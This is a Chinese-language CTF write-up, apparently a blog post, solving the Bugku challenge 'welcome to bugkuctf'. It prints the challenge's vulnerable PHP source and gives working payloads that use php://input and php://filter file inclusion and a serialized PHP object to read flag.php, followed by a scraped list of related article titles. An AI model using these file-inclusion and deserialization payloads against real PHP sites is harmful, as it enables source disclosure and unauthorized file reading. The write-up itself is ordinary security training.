CTF-Bugku-welcome to bugkuctf
题目:http://123.206.87.240:8006/test1/
初识这种题,被坑了挺久,有点难受啊。
打开这个网址得到这样一句话,习惯性的查看源码:
然后发现get方式传递了三个参数:txt、file和password,然后要继续解,就要$user存在,读取的 $user文件内容===welcome to the bugkuctf
$flie要求为hint.php,这边就要用到一个php的知识,挺难理解的,但是还是要用,php://filter和php://input。先介绍下这个东西吧。
php://filter 用于读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。
php://input 可以访问请求的原始数据的只读流,将post请求中的数据作为php代码执行。当传进去的参数作为文件名变量去打开文件时,可以将参数php://input,同时post方式进去值作为文件内容,供php代码执行时当做文件内容读取
在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。
简单来说这题就是将指定字符串作为文件传给txt,然后再将user的内容读出来。此时我们就满足了
在这题中,我们就要构造payload来解题,
http://120.24.86.145:8006/test1/index.php?txt=php://input&file=php://filter/read=convert.base64-encode/resource=hint.php&password=
于此同时我们要在bp中拦截下这个包,因为我们要在里面添加postdata:welcome to the bugkuctf.
拦截包:
然后将包发送到Repeator,并更改请求方式为post,写入postdata和刚刚构造的payload:
go一下获得base64加密的源码:
进行解密得到hint.php的源码如下:
<?php class Flag{//flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>";return ("good");} }
}
?>
同样我们可以获得index.php的源码:
<?php
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"]; if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){ echo "hello friend!<br>"; if(preg_match("/flag/",$file)){ echo "不能现在就给你flag哦";exit(); }else{ include($file); $password = unserialize($password); echo $password; }
}else{ echo "you are not the number of bugku ! ";
} ?> <!--
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"]; if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){ echo "hello admin!<br>"; include($file); //hint.php
}else{ echo "you are not admin ! ";
} -->
这边有一个很重要的函数,就是unserialize()。并且在hint.php源码中提示我们有flag.php文件,flag多半在其中。看下index.php里有对file参数的限制不能包含的flag,所以不能直接访问。而在hint.php中有一个flag类,这个类里有一个有__tostring方法,这个方法在对象被引用的时候会自动地执行,也就是说我们可以利用这个方法输出flag.php里的内容。那么我们要怎么创建这样一个对象呢。观察index.php,绕过前面的txt参数后,include($ file); $ password=unserialize($password);echo $password;有这样三句话,首先我们可以利用第一句话include将hint.php引进来,即让参数file=hint.php,则在index.php也就有一个Flag类的定义,最后就要靠password这个参数,我们要让password成为一个Flag类,且password->file=‘flag.php’,这样我们就可以在输出password的时候调用__tostring这个方法了。
做题的时候我看到flag.php我也尝试直接将payload中index.php直接改为flag.php,但是得到的是下面这个乱码:
从index.php中的源码我们应该可以看出应该是不能现在给你们flag哦。。。
所以我们没办法直接读取flag.php源码,只能另想办法,这时候我们要注意上面所说道的源码部分,
这个意思是如果file中包含‘flag’,那么我就会给你退出。然后就要注意else。如果我们file不包含flag,那就会把文件包含进来。之后将password反序列化一下,并输出password的结果,就跟上面讲的那个一样的意思了。我们要了解unserialize()和serialize()反序列化和序列化函数,具体参考:https://www.cnblogs.com/youyoui/p/8610068.html 这个博主写的,感觉写得很好啊。
所以我们要构造一个Flag类型的参数,并把这个参数传给password然后get进去。并且这个file的值要是hint.php(因为要利用hint.php中的函数)。
构造一个序列化后的password,写个脚本利用一下serialize()这个函数。Php脚本如下:
<?php
class Flag{
public $file;
}
$a=new Flag();
$a->file = "flag.php";
$a=serialize($a);
print_r($a);
?>
得到flag.php序列化的结果:
O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;}
于是我们构造一个payload进传输:
http://120.24.86.145:8006/test1/?txt=php://input&file=hint.php&password=O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;} ,但是别忘了postdata。
获取到flag。
这道题挺需要我们对php的了解和审计代码的能力,学习之路还很漫长,加油吧
CTF-Bugku-welcome to bugkuctf相关推荐
- CTF BugKu平台——Crypto篇刷题记录(后续更新)
CTF BugKu平台--Crypto篇 前言 抄错的字符: /.- 聪明的小羊: ok: [+-<>]: 把猪困在猪圈里: 你喜欢下棋吗: 小山丘的秘密: EN-气泡: 你以为是md5吗 ...
- php 伪协议 lfi,php://伪协议(I/O)总能给你惊喜——Bugku CTF-welcome to bugkuctf
今天一大早BugkuCTF 的welcome to bugkuctf 就给了我一发暴击:完全不会啊...光看源码就发现不知道怎么处理了,于是转向writeup求助.结果发现这是一道非常有营养的题目,赶 ...
- 【CTF练习平台】BugkuCTF部分misc writeup
签到题 扫描二维码关注得到flag 这是一张单纯的图片 拖进notepad,在末尾发现密文 unicode解码得 key{you are right} 隐写 拖进winhex,发现高度不对 修改成11 ...
- ctf php 读取flag,BugkuCTF flag.php(反序列化)
进去后是个登录页面,但是login根本不会跳转,看源码也没提示,但是这道题给了一个提示:hint,那么盲猜应该是一个get参数,因为post不能跳转,那么get总有内容吧,跟上hint参数,随便赋一个 ...
- 【CTF bugku 秋名山车神】关于会话脚本、session、正则表达式
题目描述 题目链接 多刷新几遍,发现一个传参变量value,下边开始解题 解题思路 本题考验脚本能力,手动提交?哼,不存在的 题目多次刷新,出现要提交的参数:value 在这里插入图片描述 这么长的数 ...
- CTF | bugku | 秋名山车神
''' @Modify Time @Author ------------ ------- 2019/8/31 19:55 laoalo ''' import requests from lxml i ...
- 【CTF bugku 备份是个好习惯】关于.bak备份文件,md5绕过
知识点 常用的备份文件后缀有 .bak, .swp bak是备份文件的扩展名,现在很多软件都会创建备份文件,bak文件是各类软件产生的备份文件.打开bak文件的方法有简单,只需要知道它的生成软件,然后 ...
- [Bugku CTF——Pwn] pwn2
[Bugku CTF--Pwn] pwn2 题目地址:https://ctf.bugku.com/ 额,好久不写这么简单的题目了 利用栈溢出修改返回地址就好, 如果不会就去看看什么是栈溢出 explo ...
- [Bugku CTF——Pwn] pwn4
[Bugku CTF--Pwn] pwn4 题目地址:https://ctf.bugku.com/ 给的提示很清楚,绕过canary保护 那就绕过就好 题目当中有system函数 利用ROPgadge ...
- [Bugku CTF——Pwn] pwn1
[Bugku CTF--Pwn] pwn1 题目地址:https://ctf.bugku.com/ 额, 直接nc连接上,就可以直接得到shell 好水哦,新手玩玩就好,老鸟勿喷 无语凝噎 cat f ...
最新文章
- Unsafe工具类的一些实用技巧,通往JVM底层的钥匙
- R语言ggplot2可视化:指定标题的坐标轴位置(X轴坐标和Y轴坐标),将图像的标题(title)放置在图像内部的指定位置(customize title positon in plot)
- python lowercase_python 的 string.casefold 和 string.lower 方法区别?
- vue html绑定数组,VueJs Class 与 Style 绑定 数组语法
- SSM实现个人博客-day03
- LiveVideoStack线上交流分享 ( 六 ) —— VP9 Scalable Video Coding
- 面向对象编程学习5月7日-5月23日 网络直播yii-外企使用最多的PHP框架
- 密立根油滴实验的计算机仿真实验报告,H-D光谱实验的计算机仿真
- mcq 队列_人工智能搜索问题能力问题解答(MCQ)
- python 网页爬虫作业调度_第3次作业-MOOC学习笔记:Python网络爬虫与信息提取
- (工作中)Apache常见配置
- 开课吧:OOM常见的解决方案有哪些?
- 用hadoop运行一个简单程序WordCount
- Python索引设置
- 相约2021,回首2020 | 我在CSDN的年度总结
- 战争游戏红龙mod简介
- Wireshark抓取网易音乐的下载地址
- 遥感影像识别-成像合成
- js实现身份证号码验证
- python虚假评论识别程序_还在刷虚假评论?小心了,可以检测虚假评论的第三方工具来了...
热门文章
- html表格中单元格的合并
- uni 横向tab切换+list 实现tab切换长列表
- Android-ViewFlipper(图片轮播 和 手势控制 实例)
- python commands_[转载]python - Commands模块 - 使用方法
- PS 更换证件照背景色
- java jsp+servlet+mysql实现登录网页设计
- 白炽灯、日光灯和led灯的区别
- python爬虫工程师认证证书报考条件_Python爬虫工程师要具备怎样的技能
- html段落取消首行缩进,HTML段落首行缩进
- 《Python语言程序设计》——函数习题练习